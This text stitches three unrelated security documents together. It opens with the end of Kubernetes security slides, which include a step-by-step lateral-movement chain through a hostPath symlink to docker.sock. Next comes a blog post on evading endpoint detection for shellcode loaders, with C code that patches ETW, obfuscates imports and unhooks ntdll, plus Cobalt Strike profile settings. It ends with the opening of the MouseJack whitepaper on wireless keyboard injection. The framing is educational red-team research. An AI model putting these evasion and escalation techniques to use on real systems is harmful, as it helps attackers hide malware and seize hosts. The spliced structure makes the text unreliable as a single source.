If you are not secretadmin, you cannot run, kubectl get secret, to get the secret.
However, if you have permission to create pod:
Mount the Secret through a new Pod
Potential FIX: Define a PodSecruityPolicy and define
no secret is allowed to mount volumes.
RBAC Evasion (cont)
Implicit Privilege Escalation
Problem: Pod can escalate it privilege by associating another service accounts.
User is associated with service account sa1,
However, he can create a pod with another service account, sa2
Privilege Escalation
Problem: K8s allow pod to map a hostpath, such as /tmp/, /var/log
Especially, if you mount the volume using subpath, it maps the original host file to pod’s namespace.
The vulnerability: CVE-2017-1002101
Agenda
Background
Security Features of Kubernetes
Attack Vectors
Lateral Movement Practices
Questions
Penetration in K8s
Question: From an attacker view, how to launch a lateral movement against a K8s cluster ?
Challenges: How to achieve persistence?
Hard, why?
• Transient Life-cycle of Pod
• Privilege Limited of Pod
How?
• Inject into kernel, i.e privileged container.
• Inject into host machine, i.e, privilege escalation.
• Inject into persistent storage.
• ….
Attacker’s Arsenal
Potential Way
Difficulty
Persistence
Succeed Condition
Problems
Compromise one Pod
(full control)
Medium
Depends
•
Pod expose its service to
external
•
Pod’s image has
vulnerabilities
•
Pod’s transient lifecycle
•
Pod’s limited privilege
Compromise api-
server
from a compromised
pod
Hard
Yes
•
Pod has access to the api-
server
•
Api-server has
vulnerabilities
•
Pod’s limited privilege to
api-server
•
Hard to find
vulnerabilities in api-
server
Scan Network
Easy
No
•
Flat network
Cluster
Reconnaissance
Easy
No
•
Flat network or
•
Access to api-server
DDoS attacks from
compromised pod(s)
Easy
No
•
Pod has access to network
•
Pod has create pod
permission
•
Easy to detect
Attacker’s Arsenal (cont)
Potential Way
Difficulty
Persistence
Succeed Condition
Problems
Bypass RBAC
Easy
Depends
•
Compromised Pod has
create pod permission
•
Need to know a high
privileged service
account
Enter Kernel
Easy
Yes
•
Compromised Pod is a
privileged pod
Hard
Yes
•
Exploits container-runtime
vulnerabilities
Host Executable
Replacement
Medium
Yes
•
Hostpath Mount permission
Map docker.sock
Medium
Yes
•
Hostpath Mount permission
Download malware
to persistence
storage
Easy
Yes
•
Pod has access to
persistence storage
•
Hard to execute malware
(need create pod
privilege)
One Lateral Movement Example
Step I: Exploit Web Portal Pod which has a remote execution
vulnerability
Step II: Download kubectl and query api-server
Findings: (1) exploited pod has create pod permission with service
account SA1
(2) there is another db pod has mounted “/tmp/” hostpath
(3) db pod service account is SA2
Step III: Create a new pod
(1) The pod has the vulnerable web portal image
(2) The pod uses service account SA2 and mount /tmp/ folder
Step IV: Exploit the new pod
(1) Create /tmp/sym
(2) Point the /tmp/sym at /var/run/docker.sock, which is the host
docker
One Lateral Movement Example
Step V: Create another new Pod
(1) Use service account SA2
(2) Mount subpath /tmp/sym, /tmp/sym points to host
/var/run/docker.run
Step VI: Send create privileged docker container command to
/tmp/sym
(1) The new container is privileged and have access to kernel
Notes:
(1) Subpath vulnerability has partially fixed by google, current
solution is make the subpath file read only.
However, we still think it will cause some problem like
information leak, if attacker points the file to the password file.
(2) There are two root causes making the attack succeed:
a. The Pod has vulnerability to be compromised
b. The associated service account has create pod permssion
Agenda
Background
Security Features of Kubernetes
Attack Vectors
Lateral Movement Practices
Summary
Take-aways from Kubernetes Protection
We review the security features of Kubernetes, which includes:
Network Isolation
-
Use isolation-supported CNI plugins
Authentication
-
Disable Anonymous Access and Use third-party authentication service for external visit
Authorization and Access Control: Role based Access Control
-
Enable RBAC
-
Carefully grant pod creation/execution privilege to service accounts
Admission Control – Pod Security Policy
- Apply least privilege principle to each pod
- Understand the potential impact of privileged pod
Take-aways from Lateral Movement
Learn how an attacker could perform lateral movement within a cloud-native
environment:
•
Prevent an external accessible and high privileged pod in our cluster
•
Grant least privilege to service accounts and pod
•
Prevent/Detect Scanning Traffic in your cluster and set proper resource limit
for each pod
•
Use network security policy and pod security policy to manage your K8s
cluster
•
Upgrade/patch vulnerabilities for Kubernetes
Tools we can use to protect us
Image Vulnerability Scanner
https://github.com/coreos/clair
https://github.com/aquasecurity/kube-hunter
Kubernetes Security/Compliance Check
https://www.cisecurity.org/benchmark/kubernetes/
https://www.cisecurity.org/benchmark/docker/
Pod Security Auditing Tools
https://github.com/sysdiglabs/kube-psp-advisor
Run time Kubernetes Monitoring
https://github.com/falcosecurity/falco
Q & A? | pdf |
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
1/12
A blueprint for evading industry leading endpoint
protection in 2022
MONDAY. APRIL 18, 2022 - 19 MINS
EVASION
OBFUSCATION
About two years ago I quit being a full-time red team operator. However, it still is a field of
expertise that stays very close to my heart. A few weeks ago, I was looking for a new side project
and decided to pick up an old red teaming hobby of mine: bypassing/evading endpoint protection
solutions.
In this post, I’d like to lay out a collection of techniques that together can be used to bypassed
industry leading enterprise endpoint protection solutions. This is purely for educational purposes
for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The
aim for this post is to be accessible to a wide audience in the security industry, but not to drill
down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that
deep dive better than I can.
In adversary simulations, a key challenge in the “initial access” phase is bypassing the detection
and response capabilities (EDR) on enterprise endpoints. Commercial command and control
frameworks provide unmodifiable shellcode and binaries to the red team operator that are heavily
signatured by the endpoint protection industry and in order to execute that implant, the signatures
(both static and behavioural) of that shellcode need to be obfuscated.
In this post, I will cover the following techniques, with the ultimate goal of executing malicious
shellcode, also known as a (shellcode) loader:
Home Blog Projects
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
2/12
1. Shellcode encryption
2. Reducing entropy
3. Escaping the (local) AV sandbox
4. Import table obfuscation
5. Disabling Event Tracing for Windows (ETW)
6. Evading common malicious API call patterns
7. Direct system calls and evading “mark of the syscall”
8. Removing hooks in ntdll.dll
9. Spoofing the thread call stack
10. In-memory encryption of beacon
11. A custom reflective loader
12. OpSec configurations in your Malleable profile
1. Shellcode encryption
Let’s start with a basic but important topic, static shellcode obfuscation. In my loader, I leverage a
XOR or RC4 encryption algorithm, because it is easy to implement and doesn’t leave a lot of
external indicators of encryption activities performed by the loader. AES encryption to obfuscate
static signatures of the shellcode leaves traces in the import address table of the binary, which
increase suspicion. I’ve had Windows Defender specifically trigger on AES decryption functions
(e.g. CryptDecrypt, CryptHashData, CryptDeriveKey etc.) in earlier versions of this loader.
2. Reducing entropy
Many AV/EDR solutions consider binary entropy in their assessment of an unknown binary. Since
we’re encrypting the shellcode, the entropy of our binary is rather high, which is a clear indicator
of obfuscated parts of code in the binary.
There are several ways of reducing the entropy of our binary, two simple ones that work are:
Output of dumpbin /imports, an easy giveaway of only AES decryption functions being used in the binary.
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
3/12
1. Adding low entropy resources to the binary, such as (low entropy) images.
2. Adding strings, such as the English dictionary or some of "strings C:\Program
Files\Google\Chrome\Application\100.0.4896.88\chrome.dll" output.
A more elegant solution would be to design and implement an algorithm that would obfuscate
(encode/encrypt) the shellcode into English words (low entropy). That would kill two birds with one
stone.
3. Escaping the (local) AV sandbox
Many EDR solutions will run the binary in a local sandbox for a few seconds to inspect its
behaviour. To avoid compromising on the end user experience, they cannot afford to inspect the
binary for longer than a few seconds (I’ve seen Avast taking up to 30 seconds in the past, but that
was an exception). We can abuse this limitation by delaying the execution of our shellcode. Simply
calculating a large prime number is my personal favourite. You can go a bit further and
deterministically calculate a prime number and use that number as (a part of) the key to your
encrypted shellcode.
4. Import table obfuscation
You want to avoid suspicious Windows API (WINAPI) from ending up in our IAT (import address
table). This table consists of an overview of all the Windows APIs that your binary imports from
other system libraries. A list of suspicious (oftentimes therefore inspected by EDR solutions) APIs
can be found here. Typically, these are VirtualAlloc, VirtualProtect, WriteProcessMemory,
CreateRemoteThread, SetThreadContext etc. Running dumpbin /exports <binary.exe> will list all the
imports. For the most part, we’ll use Direct System calls to bypass both EDR hooks (refer to
section 7) of suspicious WINAPI calls, but for less suspicious API calls this method works just fine.
We add the function signature of the WINAPI call, get the address of the WINAPI in ntdll.dll and
then create a function pointer to that address:
typedef BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect,
pVirtualProtect fnVirtualProtect;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
fnVirtualProtect = (pVirtualProtect) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCST
// call VirtualProtect
fnVirtualProtect(address, dwSize, PAGE_READWRITE, &oldProt);
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
4/12
Obfuscating strings using a character array cuts the string up in smaller pieces making them more
difficult to extract from a binary.
The call will still be to an ntdll.dll WINAPI, and will not bypass any hooks in WINAPIs in
ntdll.dll, but is purely to remove suspicious functions from the IAT.
5. Disabling Event Tracing for Windows (ETW)
Many EDR solutions leverage Event Tracing for Windows (ETW) extensively, in particular Microsoft
Defender for Endpoint (formerly known as Microsoft ATP). ETW allows for extensive
instrumentation and tracing of a process’ functionality and WINAPI calls. ETW has components in
the kernel, mainly to register callbacks for system calls and other kernel operations, but also
consists of a userland component that is part of ntdll.dll (ETW deep dive and attack vectors).
Since ntdll.dll is a DLL loaded into the process of our binary, we have full control over this DLL
and therefore the ETW functionality. There are quite a few different bypasses for ETW in
userspace, but the most common one is patching the function EtwEventWrite which is called to
write/log ETW events. We fetch its address in ntdll.dll, and replace its first instructions with
instructions to return 0 (SUCCESS).
void disableETW(void) {
// return 0
unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e'
void *pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR) sNtdll), (LPCSTR) sEtwEven
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, PAGE_READWRITE, &o
memcpy(pEventWrite, patch, size / sizeof(patch[0]));
NtProtectVirtualMemory(hCurrentProc, &pEventWrite, (PSIZE_T) &size, oldprotect, &oldpr
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
I’ve found the above method to still work on the two tested EDRs, but this is a noisy ETW patch.
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
5/12
6. Evading common malicious API call patterns
Most behavioural detection is ultimately based on detecting malicious patterns. One of these
patters is the order of specific WINAPI calls in a short timeframe. The suspicious WINAPI calls
briefly mentioned in section 4 are typically used to execute shellcode and therefore heavily
monitored. However, these calls are also used for benign activity (the VirtualAlloc, WriteProcess,
CreateThread pattern in combination with a memory allocation and write of ~250KB of shellcode)
and so the challenge for EDR solutions is to distinguish benign from malicious calls. Filip Olszak
wrote a great blog post leveraging delays and smaller chunks of allocating and writing memory to
blend in with benign WINAPI call behaviour. In short, his method adjusts the following behaviour of
a typical shellcode loader:
1. Instead of allocating one large chuck of memory and directly write the ~250KB implant shellcode
into that memory, allocate small contiguous chunks of e.g. <64KB memory and mark them as
NO_ACCESS. Then write the shellcode in a similar chunk size to the allocated memory pages.
2. Introduce delays between every of the above mentioned operations. This will increase the time
required to execute the shellcode, but will also make the consecutive execution pattern stand out
much less.
One catch with this technique is to make sure you find a memory location that can fit your entire
shellcode in consecutive memory pages. Filip’s DripLoader implements this concept.
The loader I’ve built does not inject the shellcode into another process but instead starts the
shellcode in a thread in its own process space using NtCreateThread. An unknown process (our
binary will de facto have low prevalence) into other processes (typically a Windows native ones) is
suspicious activity that stands out (recommended read “Fork&Run – you’re history”). It is much
easier to blend into the noise of benign thread executions and memory operations within a
process when we run the shellcode within a thread in the loader’s process space. The downside
however is that any crashing post-exploitation modules will also crash the process of the loader
and therefore the implant. Persistence techniques as well as running stable and reliable BOFs can
help to overcome this downside.
7. Direct system calls and evading “mark of the syscall”
The loader leverages direct system calls for bypassing any hooks put in ntdll.dll by the EDRs. I
want to avoid going into too much detail on how direct syscalls work, since it’s not the purpose of
this post and a lot of great posts have been written about it (e.g. Outflank).
In short, a direct syscall is a WINAPI call directly to the kernel system call equivalent. Instead of
calling the ntdll.dll VirtualAlloc we call its kernel equivalent NtAlocateVirtualMemory defined in
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
6/12
the Windows kernel. This is great because we’re bypassing any EDR hooks used to monitor calls
to (in this example) VirtualAlloc defined in ntdll.dll.
In order to call a system call directly, we fetch the syscall ID of the system call we want to call from
ntdll.dll, use the function signature to push the correct order and types of function arguments to
the stack, and call the syscall <id> instruction. There are several tools that arrange all this for us,
SysWhispers2 and SysWhisper3 are two great examples. From an evasion perspective, there are
two issues with calling direct system calls:
1. Your binary ends up with having the syscall instruction, which is easy to statically detect (a.k.a
“mark of the syscall”, more in “SysWhispers is dead, long live SysWhispers!”).
2. Unlike benign use of a system call that is called through its ntdll.dll equivalent, the return
address of the system call does not point to ntdll.dll. Instead, it points to our code from where
we called the syscall, which resides in memory regions outside of ntdll.dll. This is an indicator
of a system call that is not called through ntdll.dll, which is suspicious.
To overcome these issues we can do the following:
1. Implement an egg hunter mechanism. Replace the syscall instruction with the egg (some random
unique identifiable pattern) and at runtime, search for this egg in memory and replace it with the
syscall instruction using the ReadProcessMemory and WriteProcessMemory WINAPI calls. Thereafter,
we can use direct system calls normally. This technique has been implemented by klezVirus.
2. Instead of calling the syscall instruction from our own code, we search for the syscall instruction
in ntdll.dll and jump to that memory address once we’ve prepared the stack to call the system
call. This will result in an return address in RIP that points to ntdll.dll memory regions.
Both techniques are part of SysWhisper3.
8. Removing hooks in ntdll.dll
Another nice technique to evade EDR hooks in ntdll.dll is to overwrite the loaded ntdll.dll that
is loaded by default (and hooked by the EDR) with a fresh copy from ntdll.dll. ntdll.dll is the
first DLL that gets loaded by any Windows process. EDR solutions make sure their DLL is loaded
shortly after, which puts all the hooks in place in the loaded ntdll.dll before our own code will
execute. If our code loads a fresh copy of ntdll.dll in memory afterwards, those EDR hooks will
be overwritten. RefleXXion is a C++ library that implements the research done for this technique
by MDSec. RelfeXXion uses direct system calls NtOpenSection and NtMapViewOfSection to get a
handle to a clean ntdll.dll in \KnownDlls\ntdll.dll (registry path with previously loaded DLLs). It
then overwrites the .TEXT section of the loaded ntdll.dll, which flushes out the EDR hooks.
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
7/12
I recommend to use adjust the RefleXXion library to use the same trick as described above in
section 7.
9. Spoofing the thread call stack
The next two sections cover two techniques that provide evasions against detecting our shellcode
in memory. Due to the beaconing behaviour of an implant, for a majority of the time the implant is
sleeping, waiting for incoming tasks from its operator. During this time the implant is vulnerable for
memory scanning techniques from the EDR. The first of the two evasions described in this post is
spoofing the thread call stack.
When the implant is sleeping, its thread return address is pointing to our shellcode residing in
memory. By examining the return addresses of threads in a suspicious process, our implant
shellcode can be easily identified. In order to avoid this, want to break this connection between
the return address and shellcode. We can do so by hooking the Sleep() function. When that hook
is called (by the implant/beacon shellcode), we overwrite the return address with 0x0 and call the
original Sleep() function. When Sleep() returns, we put the original return address back in place
so the thread returns to the correct address to continue execution. Mariusz Banach has
implemented this technique in his ThreadStackSpoofer project. This repo provides much more
detail on the technique and also outlines some caveats.
We can observe the result of spoofing the thread call stack in the two screenshots below, where
the non-spoofed call stack points to non-backed memory locations and a spoofed thread call
stack points to our hooked Sleep (MySleep) function and “cuts off” the rest of the call stack.
Default beacon thread call stack.
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
8/12
10. In-memory encryption of beacon
The other evasion for in-memory detection is to encrypt the implant’s executable memory regions
while sleeping. Using the same sleep hook as described in the section above, we can obtain the
shellcode memory segment by examining the caller address (the beacon code that calls Sleep()
and therefore our MySleep() hook). If the caller memory region is MEM_PRIVATE and EXECUTABLE and
roughly the size of our shellcode, then the memory segment is encrypted with a XOR function and
Sleep() is called. Then Sleep() returns, it decrypts the memory segment and returns to it.
Another technique is to register a Vectored Exception Handler (VEH) that handles NO_ACCESS
violation exceptions, decrypts the memory segments and changes the permissions to RX. Then
just before sleeping, mark the memory segments as NO_ACCESS, so that when Sleep() returns, it
throws a memory access violation exception. Because we registered a VEH, the exception is
handled within that thread context and can be resumed at the exact same location the exception
was thrown. The VEH can simply decrypt and change the permissions back to RX and the implant
can continue execution. This technique prevents a detectible Sleep() hook being in place when
the implant is sleeping.
Mariusz Banach has also implemented this technique in ShellcodeFluctuation.
11. A custom reflective loader
The beacon shellcode that we execute in this loader ultimately is a DLL that needs to be executed
in memory. Many C2 frameworks leverage Stephen Fewer’s ReflectiveLoader. There are many well
written explanations of how exactly a relfective DLL loader works, and Stephen Fewer’s code is
also well documented, but in short a Reflective Loader does the following:
1. Resolve addresses to necessary kernel32.dll WINAPIs required for loading the DLL (e.g.
VirtualAlloc, LoadLibraryA etc.)
Spoofed beacon thread call stack.
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
9/12
2. Write the DLL and its sections to memory
3. Build up the DLL import table, so the DLL can call ntdll.dll and kernel32.dll WINAPIs
4. Load any additional library’s and resolve their respective imported function addresses
5. Call the DLL entrypoint
Cobalt Strike added support for a custom way for reflectively loading a DLL in memory that allows
a red team operator to customize the way a beacon DLL gets loaded and add evasion techniques.
Bobby Cooke and Santiago P built a stealthy loader (BokuLoader) using Cobalt Strike’s UDRL
which I’ve used in my loader. BokuLoader implements several evasion techniques:
Limit calls to GetProcAddress() (commonly EDR hooked WINAPI call to resolve a function address,
as we do in section 4)
AMSI & ETW bypasses
Use only direct system calls
Use only RW or RX, and no RWX (EXECUTE_READWRITE) permissions
Removes beacon DLL headers from memory
Make sure to uncomment the two defines to leverage direct system calls via HellsGate &
HalosGate and bypass ETW and AMSI (not really necessary, as we’ve already disabled ETW and
are not injecting the loader into another process).
12. OpSec configurations in your Malleable profile
In your Malleable C2 profile, make sure the following options are configured, which limit the use of
RWX marked memory (suspicious and easily detected) and clean up the shellcode after beacon has
started.
set startrwx "false";
set userwx "false";
set cleanup "true";
set stomppe "true";
set obfuscate "true";
set sleep_mask "true";
set smartinject "true";
Conclusions
Combining these techniques allow you to bypass (among others) Microsoft Defender for Endpoint
and CrowdStrike Falcon with 0 detections (tested mid April 2022), which together with
SentinelOne lead the endpoint protection industry.
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
10/12
CrowdStrike Falcon with 0 alerts.
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
11/12
Of course this is just one and the first step in fully compromising an endpoint, and this doesn’t
mean “game over” for the EDR solution. Depending on what post-exploitation activity/modules the
red team operator choses next, it can still be “game over” for the implant. In general, either run
BOFs, or tunnel post-ex tools through the implant’s SOCKS proxy feature. Also consider putting
the EDR hooks patches back in place in our Sleep() hook to avoid detection of unhooking, as well
as removing the ETW/AMSI patches.
It’s a cat and mouse game, and the cat is undoubtedly getting better.
Related Posts
Towards generic .NET assembly obfuscation (Pt. 1)
Windows Defender (and also Microsoft Defender for Endpoint, not screenshotted) with 0 alerts.
2022/4/25 09:43
A blueprint for evading industry leading endpoint protection in 2022 | Vincent Van Mieghem
https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
12/12
vivami © 2022 | pdf |
MouseJack and Beyond: Keystroke Sniffing and Injection
Vulnerabilities in 2.4GHz Wireless Mice and Keyboards
Marc Newlin
[email protected]
@marcnewlin
July 8, 2016
v0.1
Abstract
What if your wireless mouse or keyboard was an e↵ective attack vector? Research reveals this to be the
case for non-Bluetooth wireless mice and keyboards from Logitech, Microsoft, Dell, Lenovo, Hewlett-Packard,
Gigabyte, Amazon, Toshiba, GE, Anker, RadioShack, Kensington, EagleTec, Insignia, ShhhMouse, and HDE.
A total of 16 vulnerabilities were identified and disclosed to the a↵ected vendors per our disclosure pol-
icy[1]. The vulnerabilities enable keystroke sniffing, keystroke injection, forced device pairing, malicious macro
programming, and denial of service. This document details the research process and results, reproduction
steps for each vulnerability, vendor timelines and responses, and mitigation options where available.
Most of the a↵ected vendors are still in the disclosure
period at the time of this writing, and as such, vendor
responses are not included in this document. An updated
white paper and accompanying slide deck with vendor
response and mitigation details will be available when this
material is presented at DEF CON.
1
Contents
1
Introduction
4
2
Overview of Vulnerabilities
4
3
Transceivers
5
3.1
Nordic Semiconductor nRF24L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
3.2
Texas Instruments CC254X . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6
3.3
MOSART Semiconductor
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
3.4
Signia SGN6210
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
3.5
GE Mystery Transceiver . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
4
Research Process
7
4.1
Software Defined Radio
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
4.2
NES Controller . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
4.3
CrazyRadio PA Dongles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8
4.4
Fuzzing
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8
4.5
First Vulnerability and Beyond . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
8
5
Logitech Unifying
8
5.1
Encryption
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
5.2
General Operation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
5.2.1
Addressing
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
5.2.2
Keepalives and Channel Hopping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10
5.3
Mouse Input
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10
5.4
Keyboard Input . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
5.5
Dongle to Device Communication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
5.6
Pairing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
5.7
Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12
5.7.1
Forced Pairing (BN-0001) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12
5.7.2
Unencrypted Keystroke Injection (BN-0002) . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13
5.7.3
Disguise Keyboard as Mouse (BN-0003) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13
5.7.4
Unencrypted Keystroke Injection Fix Bypass (BN-0011) . . . . . . . . . . . . . . . . . . . . .
14
5.7.5
Encrypted Keystroke Injection (BN-0013) . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14
5.8
Logitech Unifying Packet Formats
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15
6
Logitech G900
20
6.1
Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20
6.1.1
Unencrypted Keystroke Injection (BN-0012) . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20
6.1.2
Malicious Macro Programming (BN-0016) . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
21
7
Chicony
23
7.1
Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
23
7.1.1
Unencrypted Keystroke Injection - AmazonBasics (BN-0007) . . . . . . . . . . . . . . . . . .
23
7.1.2
Unencrypted Keystroke Injection - Dell KM632 (BN-0007)
. . . . . . . . . . . . . . . . . . .
23
7.1.3
Encrypted Keystroke Injection - AmazonBasics (BN-0013) . . . . . . . . . . . . . . . . . . . .
24
7.1.4
Encrypted Keystroke Injection - Dell KM632 (BN-0013) . . . . . . . . . . . . . . . . . . . . .
24
8
MOSART
25
8.1
Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
27
8.1.1
Unencrypted Keystroke Sniffing and Injection (BN-0010)
. . . . . . . . . . . . . . . . . . . .
27
9
Signia
27
9.1
Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
28
9.1.1
Unencrypted Keystroke Sniffing and Injection (BN-0010)
. . . . . . . . . . . . . . . . . . . .
28
2
10 Unknown GE Transceiver
29
10.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
29
10.1.1 Unencrypted Keystroke Sniffing and Injection (BN-0015)
. . . . . . . . . . . . . . . . . . . .
29
11 Lenovo
29
11.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
29
11.1.1 Denial of Service (BN-0008) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
29
11.1.2 Unencrypted Keystroke Injection (BN-0009) . . . . . . . . . . . . . . . . . . . . . . . . . . . .
30
11.1.3 Encrypted Keystroke Injection (BN-0013) . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
30
12 Microsoft
31
12.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
31
12.1.1 Unencrypted Keystroke Injection (BN-0004) . . . . . . . . . . . . . . . . . . . . . . . . . . . .
31
13 HP (non-MOSART)
31
13.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
32
13.1.1 Encrypted Keystroke Injection (BN-0005) . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
32
14 Gigabyte
33
14.1 Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
33
14.1.1 Unencrypted Keystroke Injection and Injection (BN-0006) . . . . . . . . . . . . . . . . . . . .
33
3
1
Introduction
Wireless mice and keyboards commonly communicate using proprietary protocols operating in the 2.4GHz ISM
band. In contrast to Bluetooth, there is no industry standard to follow, leaving each vendor to implement their
own security scheme.
Wireless mice and keyboards work by transmitting radio frequency packets to a USB dongle plugged into a user’s
computer. When a user presses a key on their keyboard or moves their mouse, information describing the actions
are sent wirelessly to the USB dongle. The dongle listens for radio frequency packets sent by the mouse or key-
board, and notifies the computer whenever the user moves their mouse or types on their keyboard.
In order to prevent eavesdropping, many vendors encrypt the data being transmitted by wireless keyboards. The
dongle knows the encryption key being used by the keyboard, so it is able to decrypt the data and see what key
was pressed. Without knowing the encryption key, an attacker is unable to decrypt the data, so they are unable
to see what is being typed.
Conversely, none of the mice that were tested encrypt their wireless communications. This means that there is no
authentication mechanism, and the dongle is unable to distinguish between packets transmitted by a mouse, and
those transmitted by an attacker. As a result, an attacker is able to pretend to be a mouse and transmit their
own movement/click packets to a dongle.
Problems in the way some dongles process received packets make it possible for an attacker to transmit specially
crafted packets which generate keypresses instead of mouse movement/clicks. In other cases, protocol weaknesses
enable an attacker to generate encrypted keyboard packets which appear authentic to the dongle.
A separate class of wireless keyboards and mice communicate with no encryption whatsoever. The unencrypted
wireless protocols o↵er no protection, making it possible for an attacker to both inject malicious keystrokes, and
sni↵ keystrokes being typed by the user.
This document continues with an overview of the vulnerabilities, a↵ected vendors, and transceivers, followed by
a discussion of the research process and techniques. Technical details of each vulnerability are then presented,
including documentation of reverse engineered protocols.
2
Overview of Vulnerabilities
A total of 16 vulnerabilities were identified in products from 16 vendors. Per our disclosure policy[1], all vendors
were notified 90 days prior to the public disclosure date. We worked with vendors to address the vulnerabilities
where possible, but most of the a↵ected devices do not support firmware updates.
4
Vulnerabilities
Number
Description
Vendors
Public Disclosure
BN-0001
Forced pairing
Logitech, Dell
Feb 23, 2016
BN-0002
Unencrypted keystroke injection
Logitech, Dell
Feb 23, 2016
BN-0003
Disguise keyboard as mouse
Logitech, Dell
Feb 23, 2016
BN-0004
Unencrypted keystroke injection
Microsoft
Feb 23, 2016
BN-0005
Encrypted keystroke injection
Hewlett-Packard
Feb 23, 2016
BN-0006
Unencrypted keystroke injection /
keystroke sniffing
Gigabyte
Feb 23, 2016
BN-0007
Unencrypted keystroke injection
AmazonBasics, Dell
Feb 23, 2016
BN-0008
Denial of service
Lenovo
Feb 23, 2016
BN-0009
Unencrypted keystroke injection
Lenovo
Feb 23, 2016
BN-0010
Unencrypted keystroke injection /
keystroke sniffing
